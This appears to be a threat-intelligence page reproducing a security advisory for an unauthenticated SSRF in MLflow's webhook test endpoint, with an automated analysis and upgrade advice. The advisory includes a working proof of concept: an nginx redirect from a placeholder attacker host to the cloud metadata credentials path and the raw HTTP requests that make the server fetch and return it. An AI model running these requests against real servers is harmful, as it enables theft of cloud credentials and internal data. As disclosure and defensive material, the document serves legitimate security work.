MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding) (CVE-2026-64849)
Description
### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}} <img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" /> Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}} <img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" /> Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a
CVSS v3.1
Score 9.3critical
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
MLflow's webhook testing endpoint prior to version 3.15.0 improperly validates webhook URLs by only checking the original URL before following HTTP redirects. The delivery mechanism follows redirects and re-resolves hostnames without pinning the validated IP address, enabling attackers to exploit unvalidated redirects and DNS rebinding to perform server-side request forgery (SSRF). This can lead to unauthorized access to internal or cloud metadata services and disclosure of response status and body. The vulnerability is addressed in version 3.15.0.
Potential Impact
An unauthenticated attacker can exploit this SSRF vulnerability to send crafted requests through the webhook testing endpoint, potentially accessing internal network resources or cloud metadata services that are normally inaccessible. This can lead to unauthorized information disclosure. No known exploits in the wild have been reported.
Mitigation Recommendations
Upgrade MLflow to version 3.15.0 or later, where this vulnerability is fixed. The fix ensures proper validation of webhook URLs including those reached via redirects, preventing SSRF via unvalidated HTTP redirects and DNS rebinding.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- BIT-mlflow-2026-64849
- Osv Schema Version
- 1.6.2
- Aliases
- ["CVE-2026-64849"]
- Ecosystems
- ["Bitnami"]
- Database Specific Severity
- Critical
Threat ID: 6a885f2dacd9273b493f82d0
Added to database: 08/21/2026, 14:22:37 UTC
Last enriched: 08/21/2026, 14:41:02 UTC
Last updated: 10/06/2026, 18:48:24 UTC
Views: 41
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.